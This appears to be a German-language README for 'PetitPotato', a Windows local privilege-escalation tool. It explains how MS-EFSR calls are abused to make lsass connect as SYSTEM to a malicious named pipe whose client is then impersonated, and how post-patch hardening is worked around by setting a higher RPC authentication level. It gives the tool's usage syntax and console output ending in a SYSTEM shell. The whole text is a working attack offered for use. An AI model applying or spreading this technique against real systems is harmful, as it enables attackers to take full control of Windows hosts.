
Lokale Rechteausweitung über PetitPotam (Missbrauch von Impersonate-Rechten).
Lokale Privilegienausweitung über PetitPotam (Missbrauch von Impersonate-Berechtigungen).
PetitPotam verwendet MS-EFSR (Encrypting File System Remote), ein Protokoll, das für Wartungs- und Verwaltungsvorgänge an verschlüsselten Daten verwendet wird, die remote gespeichert und über ein Netzwerk aufgerufen werden. Es gibt eine Reihe von APIs in MS-EFSR, die EfsRpcOpenFileRaw ähneln. Die Syntax der EfsRpcOpenFileRaw-API ist unten dargestellt.
long EfsRpcOpenFileRaw(
[in] handle_t binding_h,
[out] PEXIMPORT_CONTEXT_HANDLE* hContext,
[in, string] wchar_t* FileName,
[in] long Flags
);
Solche APIs können über den FileName-Parameter einen UNC-Pfad angeben, um verschlüsselte Objekte auf dem Server für die Sicherung oder Wiederherstellung zu öffnen. Wenn der Pfad im Format \\IP\C$ angegeben wird, greift der lsass.exe-Dienst mit den Kontoberechtigungen von NT AUTHORITY SYSTEM auf \\IP\pipe\srvsvc zu.
Wenn wir die EfsRpcOpenFileRaw-API aufrufen können, um den lokalen Computer zu zwingen, sich mit der von uns erstellten bösartigen Named Pipe zu verbinden, können wir den Clientprozess der Named Pipe impersonieren und schließlich das SYSTEKM-Privileg erlangen.
Allerdings funktioniert die alte Version von PetitPotam auf neueren Windows-Versionen aufgrund der Einschränkungen zugehöriger Patches nicht mehr. Setzt man AuthnLevel vor dem Aufruf von EFS jedoch über RpcBindingSetAuthInfoW auf RPC_C_AUTHN_LEVEL_PKT_PRIVACY, funktioniert dies auf den neuesten Systemen.
Im Dezember 2021 veröffentlichte Microsoft einen Patch für eine andere EFSRPC-Sicherheitslücke: CVE-2021-43217. Im Rahmen der Behebung dieses Problems implementierte Microsoft einige Härtungsmaßnahmen für die EFSRPC-Kommunikation. Insbesondere müssen EFSRPC-Clients bei der Verwendung von EFSRPC
RPC_C_AUTHN_LEVEL_PKT_PRIVACYverwenden. Wenn der Client dies nicht tut, wird er abgelehnt und ein Windows-Anwendungsereignis erzeugt.
Derzeit kann das Projekt auf allen Windows-Versionen perfekt zu SYSTEM eskalieren (getestet auf Windows 21H2 10.0.20348.1547).
PetitPotato.exe [EfsID] [Command]
EfsID: Die zu verwendende MS-EFSR-API-NummerCommand: Der auszuführende BefehlC:\Users\Administrator\Desktop>PetitPotato.exe 3 cmd
[+] Malicious named pipe running on \\.\pipe\petit\pipe\srvsvc.
[+] Invoking EfsRpcQueryUsersOnFile with target path: \\localhost/pipe/petit\C$\wh0nqs.txt.
[+] The connection is successful.
[+] ImpersonateNamedPipeClient OK.
[+] OpenThreadToken OK.
[+] DuplicateTokenEx OK.
[+] CreateProcessAsUser OK.
Microsoft Windows [Version 10.0.20348.1547]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>
